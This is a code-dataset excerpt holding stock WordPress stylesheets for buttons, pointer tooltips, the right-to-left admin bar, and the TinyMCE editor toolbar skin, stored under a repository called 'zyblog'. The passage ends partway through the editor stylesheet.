code
stringlengths
1
2.01M
repo_name
stringlengths
3
62
path
stringlengths
1
267
language
stringclasses
231 values
license
stringclasses
13 values
size
int64
1
2.01M
/* ---------------------------------------------------------------------------- WordPress-style Buttons ======================= Create a button by adding the `.button` class to an element. For backwards compatibility, we support several other classes (such as `.button-secondary`), but these will *not* work with the stackable classes described below. Button Styles ------------- To display a primary button style, add the `.button-primary` class to a button. Button Sizes ------------ Adjust a button's size by adding the `.button-large` or `.button-small` class. Button States ------------- Lock the state of a button by adding the name of the pseudoclass as an actual class (e.g. `.hover` for `:hover`). TABLE OF CONTENTS: ------------------ 1.0 - Button Layouts 2.0 - Default Button Style 3.0 - Primary Button Style 4.0 - Button Groups ---------------------------------------------------------------------------- */ /* ---------------------------------------------------------------------------- 1.0 - Button Layouts ---------------------------------------------------------------------------- */ .wp-core-ui .button, .wp-core-ui .button-primary, .wp-core-ui .button-secondary { display: inline-block; text-decoration: none; font-size: 12px; line-height: 23px; height: 24px; margin: 0; padding: 0 10px 1px; cursor: pointer; border-width: 1px; border-style: solid; -webkit-border-radius: 3px; -webkit-appearance: none; border-radius: 3px; white-space: nowrap; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } /* Remove the dotted border on :focus and the extra padding in Firefox */ .wp-core-ui button::-moz-focus-inner, .wp-core-ui input[type="reset"]::-moz-focus-inner, .wp-core-ui input[type="button"]::-moz-focus-inner, .wp-core-ui input[type="submit"]::-moz-focus-inner { border-width: 1px 0; border-style: solid none; border-color: transparent; padding: 0; } .wp-core-ui .button.button-large, .wp-core-ui .button-group.button-large .button { height: 30px; line-height: 28px; padding: 0 12px 2px; } .wp-core-ui .button.button-small, .wp-core-ui .button-group.button-small .button { height: 21px; line-height: 20px; padding: 0 8px 1px; } .wp-core-ui .button.button-hero, .wp-core-ui .button-group.button-hero .button { font-size: 14px; height: 46px; line-height: 44px; padding: 0 36px; } .wp-core-ui .button:active { outline: none; } .wp-core-ui .button.hidden { display: none; } /* ---------------------------------------------------------------------------- 2.0 - Default Button Style ---------------------------------------------------------------------------- */ .wp-core-ui .button, .wp-core-ui .button-secondary { background: #f3f3f3; background-image: -webkit-gradient(linear, left top, left bottom, from(#fefefe), to(#f4f4f4)); background-image: -webkit-linear-gradient(top, #fefefe, #f4f4f4); background-image: -moz-linear-gradient(top, #fefefe, #f4f4f4); background-image: -o-linear-gradient(top, #fefefe, #f4f4f4); background-image: linear-gradient(to bottom, #fefefe, #f4f4f4); border-color: #bbb; color: #333; text-shadow: 0 1px 0 #fff; } .wp-core-ui .button.hover, .wp-core-ui .button:hover, .wp-core-ui .button-secondary:hover, .wp-core-ui .button.focus, .wp-core-ui .button:focus, .wp-core-ui .button-secondary:focus { background: #f3f3f3; background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f3f3f3)); background-image: -webkit-linear-gradient(top, #fff, #f3f3f3); background-image: -moz-linear-gradient(top, #fff, #f3f3f3); background-image: -ms-linear-gradient(top, #fff, #f3f3f3); background-image: -o-linear-gradient(top, #fff, #f3f3f3); background-image: linear-gradient(to bottom, #fff, #f3f3f3); border-color: #999; color: #222; } .wp-core-ui .button.focus, .wp-core-ui .button:focus, .wp-core-ui .button-secondary:focus { -webkit-box-shadow: 1px 1px 1px rgba(0,0,0,.2); box-shadow: 1px 1px 1px rgba(0,0,0,.2); } .wp-core-ui .button.active, .wp-core-ui .button.active:hover, .wp-core-ui .button.active:focus, .wp-core-ui .button:active, .wp-core-ui .button-secondary:active { background: #eee; background-image: -webkit-gradient(linear, left top, left bottom, from(#f4f4f4), to(#fefefe)); background-image: -webkit-linear-gradient(top, #f4f4f4, #fefefe); background-image: -moz-linear-gradient(top, #f4f4f4, #fefefe); background-image: -ms-linear-gradient(top, #f4f4f4, #fefefe); background-image: -o-linear-gradient(top, #f4f4f4, #fefefe); background-image: linear-gradient(to bottom, #f4f4f4, #fefefe); border-color: #999; color: #333; text-shadow: 0 -1px 0 #fff; -webkit-box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 ); box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 ); } .wp-core-ui .button[disabled], .wp-core-ui .button:disabled, .wp-core-ui .button-secondary[disabled], .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-disabled { color: #aaa !important; border-color: #ddd !important; background-image: -webkit-gradient(linear, left top, left bottom, from(#f9f9f9), to(#f4f4f4)) !important; background-image: -webkit-linear-gradient(top, #f9f9f9, #f4f4f4) !important; background-image: -moz-linear-gradient(top, #f9f9f9, #f4f4f4) !important; background-image: -ms-linear-gradient(top, #f9f9f9, #f4f4f4) !important; background-image: -o-linear-gradient(top, #f9f9f9, #f4f4f4) !important; background-image: linear-gradient(to bottom, #f9f9f9, #f4f4f4) !important; -webkit-box-shadow: none !important; box-shadow: none !important; text-shadow: 0 1px 0 #fff !important; cursor: default; } /* ---------------------------------------------------------------------------- 3.0 - Primary Button Style ---------------------------------------------------------------------------- */ .wp-core-ui .button-primary { background-color: #21759b; background-image: -webkit-gradient(linear, left top, left bottom, from(#2a95c5), to(#21759b)); background-image: -webkit-linear-gradient(top, #2a95c5, #21759b); background-image: -moz-linear-gradient(top, #2a95c5, #21759b); background-image: -ms-linear-gradient(top, #2a95c5, #21759b); background-image: -o-linear-gradient(top, #2a95c5, #21759b); background-image: linear-gradient(to bottom, #2a95c5, #21759b); border-color: #21759b; border-bottom-color: #1e6a8d; -webkit-box-shadow: inset 0 1px 0 rgba(120,200,230,0.5); box-shadow: inset 0 1px 0 rgba(120,200,230,0.5); color: #fff; text-decoration: none; text-shadow: 0 1px 0 rgba(0,0,0,0.1); } .wp-core-ui .button-primary.hover, .wp-core-ui .button-primary:hover, .wp-core-ui .button-primary.focus, .wp-core-ui .button-primary:focus { background-color: #278ab7; background-image: -webkit-gradient(linear, left top, left bottom, from(#2e9fd2), to(#21759b)); background-image: -webkit-linear-gradient(top, #2e9fd2, #21759b); background-image: -moz-linear-gradient(top, #2e9fd2, #21759b); background-image: -ms-linear-gradient(top, #2e9fd2, #21759b); background-image: -o-linear-gradient(top, #2e9fd2, #21759b); background-image: linear-gradient(to bottom, #2e9fd2, #21759b); border-color: #1b607f; -webkit-box-shadow: inset 0 1px 0 rgba(120,200,230,0.6); box-shadow: inset 0 1px 0 rgba(120,200,230,0.6); color: #fff; text-shadow: 0 -1px 0 rgba(0,0,0,0.3); } .wp-core-ui .button-primary.focus, .wp-core-ui .button-primary:focus { border-color: #0e3950; -webkit-box-shadow: inset 0 1px 0 rgba(120,200,230,0.6), 1px 1px 2px rgba(0,0,0,0.4); box-shadow: inset 0 1px 0 rgba(120,200,230,0.6), 1px 1px 2px rgba(0,0,0,0.4); } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:hover, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary:active { background: #1b607f; background-image: -webkit-gradient(linear, left top, left bottom, from(#21759b), to(#278ab7)); background-image: -webkit-linear-gradient(top, #21759b, #278ab7); background-image: -moz-linear-gradient(top, #21759b, #278ab7); background-image: -ms-linear-gradient(top, #21759b, #278ab7); background-image: -o-linear-gradient(top, #21759b, #278ab7); background-image: linear-gradient(to bottom, #21759b, #278ab7); border-color: #124560 #2382ae #2382ae #2382ae; color: rgba(255,255,255,0.95); -webkit-box-shadow: inset 0 1px 0 rgba(0,0,0,0.1); box-shadow: inset 0 1px 0 rgba(0,0,0,0.1); text-shadow: 0 1px 0 rgba(0,0,0,0.1); } .wp-core-ui .button-primary[disabled], .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary-disabled { color: #94cde7 !important; background: #298cba !important; border-color: #1b607f !important; -webkit-box-shadow: none !important; box-shadow: none !important; text-shadow: 0 -1px 0 rgba(0,0,0,0.1) !important; cursor: default; } /* ---------------------------------------------------------------------------- 4.0 - Button Groups ---------------------------------------------------------------------------- */ .wp-core-ui .button-group { position: relative; display: inline-block; white-space: nowrap; font-size: 0; vertical-align: middle; } .wp-core-ui .button-group > .button { display: inline-block; border-radius: 0; margin-right: -1px; z-index: 10; } .wp-core-ui .button-group > .button-primary { z-index: 100; } .wp-core-ui .button-group > .button:hover { z-index: 20; } .wp-core-ui .button-group > .button:first-child { border-radius: 3px 0 0 3px; } .wp-core-ui .button-group > .button:last-child { border-radius: 0 3px 3px 0; }
zyblog
trunk/zyblog/wp-includes/css/buttons.css
CSS
asf20
9,593
.wp-pointer { } .wp-pointer-content { padding: 0 0 10px; position: relative; font-size: 13px; background: #fff; border-style: solid; border-width: 1px; /* Fallback for non-rgba-compliant browsers */ border-color: #dfdfdf; /* Use rgba to look better against non-white backgrounds. */ border-color: rgba(0,0,0,.125); -webkit-border-radius: 3px; border-radius: 3px; -webkit-box-shadow: 0 2px 4px rgba(0,0,0,.19); box-shadow: 0 2px 4px rgba(0,0,0,.19); } .wp-pointer-content h3 { position: relative; margin: 0 0 5px; padding: 15px 18px 14px 60px; line-height: 1.4em; font-size: 14px; color: #fff; border-radius: 3px 3px 0 0; text-shadow: 0 -1px 0 rgba(0,0,0,0.3); background: #8cc1e9; background-image: -webkit-gradient(linear, left bottom, left top, from(#72a7cf), to(#8cc1e9)); background-image: -webkit-linear-gradient(bottom, #72a7cf, #8cc1e9); background-image: -moz-linear-gradient(bottom, #72a7cf, #8cc1e9); background-image: -o-linear-gradient(bottom, #72a7cf, #8cc1e9); background-image: linear-gradient(to top, #72a7cf, #8cc1e9); } .wp-pointer-content h3:before { position: absolute; top: 0; left: 15px; content: ' '; width: 36px; height: 100%; background: url('../images/icon-pointer-flag.png') 0 50% no-repeat; } .wp-pointer-content p { padding: 0 15px; } .wp-pointer-buttons { margin: 0; padding: 5px 15px; overflow: auto; } .wp-pointer-buttons a { float: right; display: inline-block; text-decoration: none; } .wp-pointer-buttons a.close { padding-left:3px; position: relative; } .wp-pointer-buttons a.close:before { content: ' '; width:10px; height:100%; position:absolute; left:-10px; background:url('../images/xit.gif') 0 50% no-repeat; } .wp-pointer-buttons a.close:hover:before { background-position:100% 50%; } /* The arrow base class must take up no space, even with transparent borders. */ .wp-pointer-arrow, .wp-pointer-arrow-inner { position: absolute; width: 0; height: 0; } .wp-pointer-arrow { z-index: 10; background:url('../images/arrow-pointer-blue.png') 0 0 no-repeat; } .wp-pointer-arrow-inner { z-index: 20; } /* Make Room for the Arrow! */ .wp-pointer-top, .wp-pointer-undefined { padding-top: 13px; } .wp-pointer-bottom { padding-bottom: 13px; } .wp-pointer-left { padding-left: 13px; } .wp-pointer-right { padding-right: 13px; } /* Base Size & Positioning */ .wp-pointer-top .wp-pointer-arrow, .wp-pointer-bottom .wp-pointer-arrow, .wp-pointer-undefined .wp-pointer-arrow { left: 50px; width: 30px; height: 14px; } .wp-pointer-left .wp-pointer-arrow, .wp-pointer-right .wp-pointer-arrow { top: 50%; margin-top: -15px; width: 14px; height: 30px; } /* Arrow Sprite */ .wp-pointer-top .wp-pointer-arrow, .wp-pointer-undefined .wp-pointer-arrow { top: 0; background-position: 0 0; } .wp-pointer-bottom .wp-pointer-arrow { bottom: 0; background-position: 0 -46px; } .wp-pointer-left .wp-pointer-arrow { left: 0; background-position: 0 -15px; } .wp-pointer-right .wp-pointer-arrow { right:0; background-position:-16px -15px; } /* - RTL ------------------------------------------------------------------------------*/ .rtl .wp-pointer-content h3 { padding-right: 60px; padding-left: 18px; } .rtl .wp-pointer-content h3:before { right: 15px; } .rtl .wp-pointer-buttons a { float: left; } .rtl .wp-pointer-buttons a.close { padding-right:3px; padding-left: 0; } .rtl .wp-pointer-buttons a.close:before { right:-10px; } .rtl .wp-pointer-top .wp-pointer-arrow, .rtl .wp-pointer-bottom .wp-pointer-arrow, .rtl .wp-pointer-undefined .wp-pointer-arrow { right: 50px; } /** * HiDPI Displays */ @media print, (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi) { .wp-pointer-buttons a.close:before { background-image: url('../images/xit-2x.gif'); background-size: 20px auto; } .wp-pointer-content h3:before { background-image: url('../images/icon-pointer-flag-2x.png'); background-size: 36px auto; } .wp-pointer-arrow { background: url('../images/arrow-pointer-blue-2x.png') 0 0 no-repeat; background-size: 30px 60px; } .wp-pointer-top .wp-pointer-arrow, .wp-pointer-undefined .wp-pointer-arrow { background-position: 0 1px; } .wp-pointer-bottom .wp-pointer-arrow { background-position: 0 -47px; } .wp-pointer-left .wp-pointer-arrow { background-position: 1px -15px; } .wp-pointer-right .wp-pointer-arrow { background-position:-17px -15px; } }
zyblog
trunk/zyblog/wp-includes/css/wp-pointer.css
CSS
asf20
4,480
#wpadminbar * { font-family: Tahoma, Arial, Helvetica, sans-serif; } #wpadminbar { direction: rtl; font-family: Tahoma, Arial, Helvetica, sans-serif; left: auto; right: 0; } #wpadminbar .quicklinks ul { text-align: right; } #wpadminbar li { float: right; } #wpadminbar .quicklinks > ul > li { border-right: 0; border-left: 1px solid #555; } #wpadminbar .quicklinks > ul > li > a, #wpadminbar .quicklinks > ul > li > .ab-empty-item { border-right: 0; border-left: 1px solid #333; } #wpadminbar .quicklinks .ab-top-secondary > li { border-left: 0; border-right: 1px solid #333; float: left; } #wpadminbar .quicklinks .ab-top-secondary > li > a, #wpadminbar .quicklinks .ab-top-secondary > li > .ab-empty-item { border-right: 1px solid #555; border-left: 0; } #wpadminbar .menupop .ab-sub-wrapper, #wpadminbar .shortlink-input { margin: 0 -1px 0 0; } #wpadminbar.ie7 .menupop .ab-sub-wrapper, #wpadminbar.ie7 .shortlink-input { left: auto; right: 0; } #wpadminbar .ab-top-secondary .menupop .ab-sub-wrapper { right: auto; left: 0; margin: 0 0 0 -1px; } #wpadminbar .menupop li:hover > .ab-sub-wrapper, #wpadminbar .menupop li.hover > .ab-sub-wrapper { margin-left: 0px; margin-right: 100%; } #wpadminbar .ab-top-secondary .menupop li:hover > .ab-sub-wrapper, #wpadminbar .ab-top-secondary .menupop li.hover > .ab-sub-wrapper { margin-left: inherit; margin-right: 0; left: 100%; right: inherit; } #wpadminbar .menupop .menupop > .ab-item { background-position: 5% -46px; padding-left: 2em; padding-right: 1em; } #wpadminbar .ab-top-secondary .menupop .menupop > .ab-item { background-position: 95% -20px; padding-left: 1em; padding-right: 2em; } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary { right: 0; left: auto; } #wpadminbar .ab-top-secondary { float: left; right: auto; left: 0; } #wpadminbar ul li:last-child, #wpadminbar ul li:last-child .ab-item { border-left: 0; } #wpadminbar .screen-reader-shortcut:focus { left: auto; right: 6px; } /** * My Account */ #wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li { margin-right: 88px; margin-left: 16px; } #wp-admin-bar-user-actions > li > .ab-item { padding-left: 0; padding-right: 8px; } #wp-admin-bar-user-info .avatar { left: auto; right: -72px; } #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { margin-left: -1px; margin-right: 4px } /* * My Sites */ #wpadminbar .quicklinks li .blavatar { margin-right: 0px; margin-left: 4px; } /* * Search */ #wpadminbar #adminbarsearch .adminbar-input { font-family: Tahoma, Arial, Helvetica, sans-serif; padding: 0 24px 0 3px; margin: 0; background-position: 50% 2px; } #wpadminbar #adminbarsearch .adminbar-input:focus, #wpadminbar.ie7 #adminbarsearch .adminbar-input { background-position: 99% 2px; } /** * Comments icon */ #wpadminbar .ab-icon { float: right; } .ie7 #wp-admin-bar-wp-logo > .ab-item .ab-icon { position: static; } #wpadminbar.ie7 .ab-icon { float: left; left: 12px; } #wpadminbar .ab-label { margin-left: 0px; margin-right: 4px; float: left; } #wpadminbar.ie7 .ab-label { margin-right: 0; } #wpadminbar.ie7 #wp-admin-bar-comments > a { min-width: 25px; } #wpadminbar a:hover .ab-comments-icon-arrow { border-right-color: #bbb; } #wpadminbar .menupop .ab-sub-wrapper, #wpadminbar .shortlink-input { right: 0; } #wpadminbar .quicklinks .menupop ul li a { position: relative; } /** * IE 6-targeted rules */ * html #wpadminbar .quicklinks ul li a { float: right; }
zyblog
trunk/zyblog/wp-includes/css/admin-bar-rtl.css
CSS
asf20
3,549
/*------------------------------------------------------------------------------ TinyMCE and Quicklinks toolbars ------------------------------------------------------------------------------*/ /* wp_theme/ui.css */ .wp_themeSkin table, .wp_themeSkin tbody, .wp_themeSkin a, .wp_themeSkin img, .wp_themeSkin tr, .wp_themeSkin div, .wp_themeSkin td, .wp_themeSkin iframe, .wp_themeSkin span, .wp_themeSkin *, .wp_themeSkin .mceText { border: 0; margin: 0; padding: 0; white-space: nowrap; text-decoration: none; font-weight: normal; cursor: default; vertical-align: baseline; width: auto; border-collapse: separate; } .wp_themeSkin a:hover, .wp_themeSkin a:link, .wp_themeSkin a:visited, .wp_themeSkin a:active { text-decoration: none; font-weight: normal; cursor: default; } .wp_themeSkin table td { vertical-align: middle; } .wp_themeSkin *, .wp_themeSkin a:hover, .wp_themeSkin a:link, .wp_themeSkin a:visited, .wp_themeSkin a:active { color: #555; } /* Containers */ .wp_themeSkin table {} .wp_themeSkin iframe { display: block; } .wp_themeSkin #mce_fullscreen_ifr { background-color: #fff; } .wp_themeSkin .mceToolbar { padding: 1px; } /* External */ .wp_themeSkin .mceExternalToolbar { position: absolute; border-bottom: 0; display: none; } .wp_themeSkin .mceExternalToolbar td.mceToolbar { padding-right: 13px; } .wp_themeSkin .mceExternalClose { position: absolute; top: 3px; right: 3px; width: 7px; height: 7px; background: url("../js/tinymce/themes/advanced/img/icons.gif") -820px 0; } /* Layout */ .wp_themeSkin table.mceToolbar, .wp_themeSkin tr.mceFirst .mceToolbar tr td, .wp_themeSkin tr.mceLast .mceToolbar tr td { border: 0; margin: 0; padding: 0; } .wp_themeSkin table.mceLayout { border: 0; } .wp_themeSkin .mceStatusbar { display: block; font-family: sans-serif; font-size: 12px; line-height: 16px; padding: 0 0 0 8px; overflow: visible; height: 20px; border-top: 1px solid #dfdfdf; color: #000; background-color: #f5f5f5; } .rtl .wp_themeSkin .mceStatusbar { padding: 0 8px 0 0; } .wp_themeSkin .mceStatusbar * { color: #555; } .wp_themeSkin .mceStatusbar div { float: left; padding: 2px; } .rtl .wp_themeSkin .mceStatusbar div { float: right; } .wp_themeSkin .mceStatusbar a.mceResize { display: block; float: right; background: url("../js/tinymce/themes/advanced/img/icons.gif") -800px 0; width: 20px; height: 20px; cursor: se-resize; } .rtl .wp_themeSkin .mceStatusbar a.mceResize { float: left; } .wp_themeSkin .mceStatusbar a:hover { text-decoration: underline; } .wp_themeSkin table.mceToolbar { margin: 0 6px 2px; } .wp_themeSkin table.mceToolbar :active, .wp_themeSkin table.mceToolbar :focus, .wp_themeSkin table.mceToolbar:focus, .wp_themeSkin span.mceSeparator:focus { outline: none; } .wp_themeSkin #content_toolbar1 { margin-top: 2px; } .wp_themeSkin .mceToolbar .mceToolbarEndListBox span { display: none; } .wp_themeSkin span.mceIcon, .wp_themeSkin img.mceIcon { display: block; width: 20px; height: 20px; } .wp_themeSkin .mceIcon { background: url("../js/tinymce/themes/advanced/img/icons.gif") no-repeat 20px 20px; } /* Button */ .wp_themeSkin .mceButton { display: block; width: 20px; height: 20px; cursor: default; padding: 1px 2px; margin: 1px; -webkit-border-radius: 2px; border-radius: 2px; } .wp_themeSkin a.mceButtonEnabled:hover { background-image: inherit 0 -10px; } .wp_themeSkin .mceOldBoxModel a.mceButton span, .wp_themeSkin .mceOldBoxModel a.mceButton img { margin: 0 0 0 1px; } .wp_themeSkin .mceButtonDisabled .mceIcon { opacity: 0.2; filter: alpha(opacity=20); } /* Separator */ .wp_themeSkin .mceSeparator { display: none; } /* ListBox */ .wp_themeSkin .mceListBox, .wp_themeSkin .mceListBox a { display: block; } .wp_themeSkin .mceListBox .mceText { padding: 1px 4px 1px 5px; width: 70px; text-align: left; text-decoration: none; -webkit-border-bottom-left-radius: 2px; -webkit-border-top-left-radius: 2px; border-bottom-left-radius: 2px; border-top-left-radius: 2px; font-family: sans-serif; font-size: 12px; height: 20px; line-height: 20px; overflow: hidden; } .wp_themeSkin .mceListBox { margin: 1px; direction: ltr; background-color: #fff; border: 1px solid #ddd; -webkit-box-shadow: inset 0 1px 1px -1px rgba(0, 0, 0, .2); box-shadow: inset 0 1px 1px -1px rgba(0, 0, 0, .2); } .wp_themeSkin .mceListBox .mceOpen { width: 12px; height: 20px; border-collapse: separate; padding: 1px; -webkit-border-bottom-left-radius: 0; -webkit-border-top-left-radius: 0; border-bottom-left-radius: 0; border-top-left-radius: 0; } .wp_themeSkin .mceListBox .mceFirst a { border-style: solid; border-width: 1px; border-bottom-right-radius: 2px; border-top-right-radius: 2px; } /*.wp_themeSkin .mceListBox .mceLast { display: none; }*/ .wp_themeSkin .mceListBox .mceOpen, .wp_themeSkin .mceListBoxHover .mceOpen, .wp_themeSkin .mceListBoxSelected .mceOpen, .wp_themeSkin table.mceListBoxEnabled .mceOpen { background-image: url("../images/down_arrow.gif"); background-position: 3px 1px; background-repeat: no-repeat; } .wp_themeSkin .mceListBoxDisabled .mceText { color: gray; } .wp_themeSkin .mceListBoxMenu { overflow: auto; overflow-x: hidden; } .wp_themeSkin .mceOldBoxModel .mceListBox .mceText { height: 22px; } .wp_themeSkin select.mceListBox { font-family: sans-serif; font-size: 12px; border-color: #b2b2b2; background-color: #fff; } /* SplitButton */ .wp_themeSkin .mceSplitButton a, .wp_themeSkin .mceSplitButton span { display: block; height: 20px; } .wp_themeSkin .mceSplitButton { display: block; direction: ltr; } .wp_themeSkin table.mceSplitButton td { padding: 2px; -webkit-border-radius: 2px; border-radius: 2px; } .wp_themeSkin table.mceSplitButton:hover td { background-image: inherit 0 -10px; } .wp_themeSkin .mceSplitButton a.mceAction { height: 20px; width: 20px; padding: 1px 2px; border-right: 0 none; } .wp_themeSkin .mceSplitButton span.mceAction { background-image: url("../js/tinymce/themes/advanced/img/icons.gif"); background-repeat: no-repeat; background-color: transparent; width: 20px; } .wp_themeSkin .mceSplitButton a.mceOpen { width: 11px; height: 20px; background-position: 0px 2px; background-repeat: no-repeat; padding: 1px 0; } .wp_themeSkin .mceSplitButton span.mceOpen { display: none; } .wp_themeSkin .mceSplitButtonDisabled .mceAction { opacity: 0.3; filter: alpha(opacity=30); } .wp_themeSkin .mceListBox a.mceText, .wp_themeSkin .mceSplitButton a.mceAction { -webkit-border-bottom-left-radius: 2px; -webkit-border-top-left-radius: 2px; border-bottom-left-radius: 2px; border-top-left-radius: 2px; } .wp_themeSkin .mceSplitButton a.mceOpen, .wp_themeSkin .mceListBox a.mceOpen { -webkit-border-bottom-right-radius: 2px; -webkit-border-top-right-radius: 2px; border-bottom-right-radius: 2px; border-top-right-radius: 2px; } .wp_themeSkin span.mce_undo, .wp_themeSkin span.mce_redo, .wp_themeSkin span.mce_bullist, .wp_themeSkin span.mce_numlist, .wp_themeSkin span.mce_blockquote, .wp_themeSkin span.mce_charmap, .wp_themeSkin span.mce_bold, .wp_themeSkin span.mce_italic, .wp_themeSkin span.mce_underline, .wp_themeSkin span.mce_justifyleft, .wp_themeSkin span.mce_justifyright, .wp_themeSkin span.mce_justifycenter, .wp_themeSkin span.mce_justifyfull, .wp_themeSkin span.mce_indent, .wp_themeSkin span.mce_outdent, .wp_themeSkin span.mce_link, .wp_themeSkin span.mce_unlink, .wp_themeSkin span.mce_help, .wp_themeSkin span.mce_removeformat, .wp_themeSkin span.mce_fullscreen, .wp_themeSkin span.mce_wp_fullscreen, .wp_themeSkin span.mce_media, .wp_themeSkin span.mce_pastetext, .wp_themeSkin span.mce_pasteword, .wp_themeSkin span.mce_wp_help, .wp_themeSkin span.mce_wp_adv, .wp_themeSkin span.mce_wp_more, .wp_themeSkin span.mce_strikethrough, .wp_themeSkin span.mce_spellchecker, .wp_themeSkin span.mce_forecolor, .wp_themeSkin .mce_forecolorpicker, .wp_themeSkin .mceSplitButton .mce_spellchecker span.mce_spellchecker, .wp_themeSkin .mceSplitButton .mce_forecolor span.mce_forecolor, .wp_themeSkin .mceSplitButton span.mce_numlist, .wp_themeSkin .mceSplitButton span.mce_bullist { background-image: url('../images/wpicons.png?ver=20120720'); } /* ColorSplitButton */ .wp_themeSkin div.mceColorSplitMenu table { background-color: #ebebeb; border-color: #bbb; } .wp_themeSkin .mceColorSplitMenu td { padding: 2px; } .wp_themeSkin .mceColorSplitMenu a { display: block; width: 9px; height: 9px; overflow: hidden; border-color: #B2B2B2; } .wp_themeSkin .mceColorSplitMenu td.mceMoreColors { padding: 1px 3px 1px 1px; } .wp_themeSkin .mceColorSplitMenu a.mceMoreColors { width: 100%; height: auto; text-align: center; font-family: Tahoma,Verdana,Arial,Helvetica; font-size: 11px; line-height: 20px; border-color: #fff; } .wp_themeSkin .mceColorSplitMenu a.mceMoreColors:hover {} .wp_themeSkin a.mceMoreColors:hover {} .wp_themeSkin .mceColorPreview { margin: -5px 0 0 2px; width: 16px; height: 4px; overflow: hidden; } /* Menu */ .wp_themeSkin .mceMenu { position: absolute; left: 0; top: 0; z-index: 1000; border-color: #ddd; direction: ltr; } .wp_themeSkin .mceNoIcons span.mceIcon { width: 0; } .wp_themeSkin .mceNoIcons a .mceText { padding-left: 10px; } .wp_themeSkin .mceMenu table { background-color: #ebeaeb; } .wp_themeSkin .mceMenu a, .wp_themeSkin .mceMenu span, .wp_themeSkin .mceMenu { display: block; } .wp_themeSkin .mceMenu td { height: 20px;overflow: hidden; } .wp_themeSkin .mceMenu a { position: relative; padding: 3px 0 4px 0; text-decoration: none !important; } .wp_themeSkin .mceMenu .mceText { position: relative; display: block; font-family: Tahoma,Verdana,Arial,Helvetica; cursor: default; margin: 0; padding: 0 25px; color: #000; } .wp_themeSkin .mceMenu span.mceText, .wp_themeSkin .mceMenu .mcePreview { font-size: 12px; } .wp_themeSkin .mceMenu pre.mceText { font-family: Monospace; } .wp_themeSkin .mceMenu .mceIcon { position: absolute; top: 0; left: 0; width: 22px; } .wp_themeSkin .mceMenu .mceMenuItemEnabled a:hover, .wp_themeSkin .mceMenu .mceMenuItemActive { background-color: #f5f5f5; } .wp_themeSkin td.mceMenuItemSeparator { height: 1px; background-color: #aaa; } .wp_themeSkin .mceMenuItemTitle a { border-top: 0; border-right: 0; border-left: 0; border-bottom: 1px solid #aaa; text-decoration: none !important; background-color: #ccc; } .wp_themeSkin .mceMenuItemTitle span.mceText { font-weight: bold; padding-left: 4px; color: #000; } .wp_themeSkin .mceMenuItemSelected .mceIcon { background: url("../js/tinymce/themes/advanced/skins/default/img/menu_check.gif"); color: #888; } .wp_themeSkin .mceNoIcons .mceMenuItemSelected a { background: url("../js/tinymce/themes/advanced/skins/default/img/menu_arrow.gif") no-repeat -6px center; } .wp_themeSkin .mceMenu span.mceMenuLine { display: none; } .wp_themeSkin .mceMenuItemSub a { background: url("../js/tinymce/themes/advanced/skins/default/img/menu_arrow.gif") no-repeat top right; } /* Progress,Resize */ .wp_themeSkin .mceBlocker { position: absolute; left: 0; top: 0; z-index: 1000; opacity: 0.5; filter: alpha(opacity=50); background: #FFF; } .wp_themeSkin .mceProgress { position: absolute; left: 0; top: 0; z-index: 1001; background: url("../js/tinymce/themes/advanced/skins/default/img/progress.gif") no-repeat; width: 32px; height: 32px; margin: -16px 0 0 -16px; } .wp_themeSkin .mcePlaceHolder { border: 1px dotted gray; } /* Rtl */ .mceRtl .mceListBox .mceText { text-align: right; padding: 0 4px 0 0; } .mceRtl .mceMenuItem .mceText { text-align: right; } /* Formats */ .wp_themeSkin .mce_p span.mceText {} .wp_themeSkin .mce_address span.mceText { font-style: italic; } .wp_themeSkin .mce_pre span.mceText { font-family: monospace; } .wp_themeSkin .mce_h1 span.mceText { font-weight: bolder; font-size: 17px; } .wp_themeSkin .mce_h2 span.mceText { font-weight: bolder; font-size: 16px; } .wp_themeSkin .mce_h3 span.mceText { font-weight: bolder; font-size: 15px; } .wp_themeSkin .mce_h4 span.mceText { font-weight: bolder; font-size: 14px; } .wp_themeSkin .mce_h5 span.mceText { font-weight: bolder; font-size: 13px; } .wp_themeSkin .mce_h6 span.mceText { font-weight: bolder; font-size: 12px; } /* Theme */ .wp_themeSkin span.mce_undo {background-position:-500px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_undo, .wp_themeSkin .mceButtonActive span.mce_undo {background-position:-500px 0} .wp_themeSkin span.mce_redo {background-position:-480px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_redo, .wp_themeSkin .mceButtonActive span.mce_redo {background-position:-480px 0} .wp_themeSkin span.mce_bullist {background-position:-40px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_bullist, .wp_themeSkin .mceButtonActive span.mce_bullist, .wp_themeSkin .mceSplitButton:hover span.mce_bullist {background-position:-40px 0} .wp_themeSkin span.mce_numlist {background-position:-60px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_numlist, .wp_themeSkin .mceButtonActive span.mce_numlist, .wp_themeSkin .mceSplitButton:hover span.mce_numlist {background-position:-60px 0} .wp_themeSkin span.mce_blockquote {background-position:-80px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_blockquote, .wp_themeSkin .mceButtonActive span.mce_blockquote {background-position:-80px 0} .wp_themeSkin span.mce_charmap {background-position:-420px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_charmap, .wp_themeSkin .mceButtonActive span.mce_charmap {background-position:-420px 0} .wp_themeSkin span.mce_bold {background-position:0 -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_bold, .wp_themeSkin .mceButtonActive span.mce_bold {background-position:0 0} .wp_themeSkin span.mce_italic {background-position:-20px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_italic, .wp_themeSkin .mceButtonActive span.mce_italic {background-position:-20px 0} .wp_themeSkin span.mce_underline {background-position:-280px -20px} 